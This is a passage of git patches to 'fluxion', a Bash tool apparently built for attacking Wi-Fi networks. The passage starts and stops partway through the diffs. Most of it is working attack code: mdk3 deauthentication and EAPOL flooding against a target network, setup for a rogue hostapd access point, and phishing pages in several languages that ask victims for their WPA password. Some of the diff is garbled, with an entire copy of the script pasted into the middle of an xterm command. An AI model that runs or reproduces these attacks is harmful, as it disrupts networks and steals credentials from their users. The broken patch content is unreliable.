$BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" } ##################################End Of Functions For MDK3 ######################################## @@ -1254,11 +1267,11 @@ run_mdk3_EAPOL5() conditional_clear mostrarheader -echo "§How many wlan Adapters§" +echo "§How many wlan WIFI_MONITORs§" echo " " -echo -e ""$blue"1)"$transparent" 1 Adapter" -echo -e ""$blue"2)"$transparent" 2 Adapter" -echo -e ""$blue"3)"$transparent" 3 Adapter" +echo -e ""$blue"1)"$transparent" 1 WIFI_MONITOR" +echo -e ""$blue"2)"$transparent" 2 WIFI_MONITOR" +echo -e ""$blue"3)"$transparent" 3 WIFI_MONITOR" echo -e ""$blue"4)"$transparent" Back" echo " " echo -n " #> " @@ -1268,7 +1281,7 @@ case $a in 1) clear echo -read -p " - What is the name of your Wlan Adapter (Ex:wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": WIFI_MONITOR; clear @@ -1440,10 +1453,10 @@ clear conditional_clear mostrarheader echo -read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; clear scan_for_targets @@ -1457,7 +1470,7 @@ enable_mon_mode_2 clear conditional_clear mostrarheader -echo "Second Adapter +echo "Second WIFI_MONITOR 1)Yes 2)No" @@ -1511,12 +1524,12 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m menu ;; 3) @@ -1604,13 +1617,13 @@ mostrarheader 3) clear echo -read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3; +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; clear scan_for_targets @@ -1630,7 +1643,7 @@ enable_mon_mode_3 clear conditional_clear mostrarheader -echo "************** - Would you like to set the 3 Adapters to an Identical MAC Address? - ************** +echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** 1)Yes 2)No" @@ -1685,12 +1698,12 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m menu ;; 3) @@ -1776,16 +1789,16 @@ menu 4) clear echo -read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3; +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; clear echo -read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": ADAPTER4; +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; clear scan_for_targets @@ -1803,7 +1816,7 @@ enable_mon_mode_4 clear -echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** 1)Yes 2)No" @@ -1861,12 +1874,12 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m menu ;; 3) @@ -1952,19 +1965,19 @@ menu 5) clear echo -read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3; +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; clear echo -read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": ADAPTER4; +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; clear echo -read -p " - What is the name of your 5th Wlan Adapter (Ex:Wlan4) - ": ADAPTER5; +read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; clear scan_for_targets @@ -1983,7 +1996,7 @@ enable_mon_mode_5 clear -echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** 1)Yes 2)No" @@ -2042,12 +2055,12 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m menu ;; 3) From 0b70739c11c9aba0e9163ed3222101d930f557e8 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 12 Mar 2016 23:42:07 +0400 Subject: [PATCH 009/294] Update fluxion --- kali/fluxion | 5998 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 5957 insertions(+), 41 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index b845401..614fa09 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -17,7 +17,7 @@ clear DUMP_PATH="/tmp/TMPflux" # Number de desautentificaciones DEAUTHTIME="30" -revision=5 +revision=4 version=0.18 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) @@ -256,7 +256,7 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo ""$blue #"${blue} + echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" @@ -284,7 +284,7 @@ function checkdependences { echo -ne "Aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -293,7 +293,7 @@ function checkdependences { echo -ne "Aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -302,7 +302,7 @@ function checkdependences { echo -ne "Airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -311,7 +311,7 @@ function checkdependences { echo -ne "Airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -320,7 +320,7 @@ function checkdependences { echo -ne "Awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -329,7 +329,7 @@ function checkdependences { echo -ne "Curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -338,7 +338,7 @@ function checkdependences { echo -ne "Dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -347,7 +347,7 @@ function checkdependences { echo -ne "Hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -356,7 +356,7 @@ function checkdependences { echo -ne "Iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -365,7 +365,7 @@ function checkdependences { echo -ne "Lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -374,7 +374,7 @@ function checkdependences { echo -ne "Macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -383,7 +383,7 @@ function checkdependences { echo -ne "Mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -392,7 +392,7 @@ function checkdependences { echo -ne "Nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -401,7 +401,7 @@ function checkdependences { echo -ne "Php5-cgi........" if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -410,7 +410,7 @@ function checkdependences { echo -ne "Pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -419,7 +419,7 @@ function checkdependences { echo -ne "Python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -428,31 +428,22 @@ function checkdependences { echo -ne "Unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 - - echo -ne "Reaver ...." - if ! hash reaver 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 echo -ne "Xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - exit=1 + salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 - if [ "$exit" = "1" ]; then + if [ "$salir" = "1" ]; then exit 1 fi @@ -858,7 +849,7 @@ function askAP { 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapdmode="WPS"; wps; break ;; - 4 ) wifite ;wifite; break ;; + 4 ) wifite ;; 5 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac @@ -866,10 +857,6 @@ function askAP { } -#wifite -function wifite { - sudo python wifite.py -} # Test Passwords / airbase-ng function askauth { @@ -968,7 +955,7 @@ echo "Monitor Mode Enabled" enable_mon_mode_4() { echo "Enabling Monitor Mode on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 downa +sudo ifconfig $WIFI_MONITOR4 down sleep 1 sudo iwconfig $WIFI_MONITOR4 mode monitor sleep 1 @@ -1269,9 +1256,11 @@ mostrarheader echo "§How many wlan WIFI_MONITORs§" echo " " -echo -e ""$blue"1)"$transparent" 1 WIFI_MONITOR" -echo -e ""$blue"2)"$transparent" 2 WIFI_MONITOR" -echo -e ""$blue"3)"$transparent" 3 WIFI_MONITOR" +echo -e ""$blue"1)"$transparent" 1 ADAPTER" +echo -e ""$blue"2)"$transparent" 2 ADAPTERS" +echo -e ""$blue"3)"$transparent" 3 ADAPTERS" +echo -e ""$blue"4)"$transparent" 4 ADAPTERS" +echo -e ""$blue"5)"$transparent" 5 ADAPTERS" echo -e ""$blue"4)"$transparent" Back" echo " " echo -n " #> " @@ -1281,7 +1270,7 @@ case $a in 1) clear echo -read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": ADAPTER_NAME; clear @@ -2768,7 +2757,5934 @@ function attack { if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & + xterm #!/bin/bash + +########## DEBUG Mode ########## +## ## + FLUX_DEBUG=0 +## ## +################################ + + + + +clear + +##################################### < CONFIGURATION > ##################################### + + +DUMP_PATH="/tmp/TMPflux" +# Number de desautentificaciones +DEAUTHTIME="30" +revision=5 +version=0.18 +IP=192.168.1.1 +RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) + +#Colores +white="\033[1;37m" +grey="\033[0;37m" +red2="\033[0;35m" +red="\033[1;31m" +green="\033[1;32m" +yellow="\033[1;33m" +blue="\033[1;34m" +transparent="\e[0m" +############################################################################################## + +# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] +if [ $FLUX_DEBUG = 1 ]; then + ## Developer Mode + export flux_output_device=/dev/stdout + HOLD="-hold" +else + ## Normal Mode + export flux_output_device=/dev/null + HOLD="" +fi + +# Delete Log only in Normal Mode ! +function conditional_clear() { + + if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi +} + +function airmon { + sudo chmod +x airmon +} +airmon +# Check Updates +function checkupdatess { + + revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + if [ -z "$revision_online" ]; then + echo "?">$DUMP_PATH/Irev + else + echo "$revision_online">$DUMP_PATH/Irev + fi + +} + +# Animation +function spinner { + + local pid=$1 + local delay=0.15 + local spinstr='|/-\' + while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do + local temp=${spinstr#?} + printf " [%c] " "$spinstr" + local spinstr=$temp${spinstr%"$temp"} + sleep $delay + printf "\b\b\b\b\b\b" + done + printf " \b\b\b\b" +} + +# ERROR Report only in Developer Mode +# FLUXION = Developer Mode +# Fluxass = Normal Mode +if [ "$FLUX_DEBUG" = "1" ]; then + trap 'err_report $FLUXION' ERR +fi + +# ERROR Report Normale Mode +function err_report { + echo "Error en la fluxass $1" +} + + +#If the script exits unexpectedly +trap exitmode SIGINT SIGHUP + +# KILL ALL +function exitmode { + + echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" + + if ps -A | grep -q aireplay-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" + killall aireplay-ng &>$flux_output_device + fi + + if ps -A | grep -q airodump-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" + killall airodump-ng &>$flux_output_device + fi + + if ps a | grep python| grep fakedns; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + fi + + if ps -A | grep -q hostapd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" + killall hostapd &>$flux_output_device + fi + + if ps -A | grep -q lighttpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" + killall lighttpd &>$flux_output_device + fi + + if ps -A | grep -q dhcpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" + killall dhcpd &>$flux_output_device + fi + + if ps -A | grep -q mdk3; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" + killall mdk3 &>$flux_output_device + fi + + if [ "$WIFI_MONITOR" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" + ./airmon stop $WIFI_MONITOR &> $flux_output_device + fi + + + if [ "$WIFI" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" + ./airmon stop $WIFI &> $flux_output_device + fi + + + if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then + echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" + echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding + fi + + echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + + echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" + tput cnorm + + if [ $FLUX_DEBUG != 1 ]; then + + echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" + rm -R $DUMP_PATH/* &>$flux_output_device + fi + + echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" + service restart network-manager &> $flux_output_device & + + echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" + exit + +} + +# Genera listado de Interfaces en el Script +readarray -t webinterfaces < <(echo -e "Web Interface +\e[1;31mExit"$transparent"" +) + +# Genera listado de Idiomas web +readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] +Spanish[ESP] GERMAN [GER] +\e[1;31mBack"$transparent"" +) + +#Language for Web Interface +#GER +DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" +DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" +DIALOG_WEB_SUBMIT_GER="Bestätigen" +DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" +DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" +DIALOG_WEB_BACK_GER="Back" +DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" +DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" + +#EN +DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" +DIALOG_WEB_INPUT_ENG="Enter your WPA password:" +DIALOG_WEB_SUBMIT_ENG="Submit" +DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" +DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." +DIALOG_WEB_BACK_ENG="Back" +DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" +DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" + +#ESP +DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" +DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" +DIALOG_WEB_SUBMIT_ESP="Enviar" +DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" +DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." +DIALOG_WEB_BACK_ESP="Atrás" +DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" +DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" + +#IT +DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" +DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" +DIALOG_WEB_SUBMIT_IT="Invia" +DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" +DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." +DIALOG_WEB_BACK_IT="Indietro" +DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" +DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" + +#FR +DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" +DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" +DIALOG_WEB_SUBMIT_FR="Valider" +DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" +DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." +DIALOG_WEB_BACK_FR="Précédent" +DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" +DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" + +#POR +DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" +DIALOG_WEB_INPUT_POR="Digite sua senha WPA" +DIALOG_WEB_SUBMIT_POR="Enviar" +DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" +DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." +DIALOG_WEB_BACK_POR="Voltar" +DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" +DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" + +# Design +function mostrarheader(){ + + conditional_clear + echo -e "$blue#########################################################" + echo -e "$blue# #" + echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo ""$blue #"${blue} + echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" + echo -e "$blue# #" + echo -e "$blue#########################################################""$transparent" + echo + echo +} +##################################### < CONFIGURACION > ##################################### + + + + + + +############################################## < START > ############################################## + + +if ! [ $(id -u) = "0" ] 2>/dev/null; then + echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" + exit +fi + +# Check requirements +function checkdependences { + + echo -ne "Aircrack-ng....." + if ! hash aircrack-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Aireplay-ng....." + if ! hash aireplay-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airmon-ng......." + if ! hash airmon-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airodump-ng....." + if ! hash airodump-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Awk............." + if ! hash awk 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Curl............" + if ! hash curl 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Dhcpd..........." + if ! hash dhcpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Hostapd........." + if ! hash hostapd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Iwconfig........" + if ! hash iwconfig 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Lighttpd........" + if ! hash lighttpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Macchanger......" + if ! hash macchanger 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Mdk3............" + if ! hash mdk3 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Nmap............" + if ! [ -f 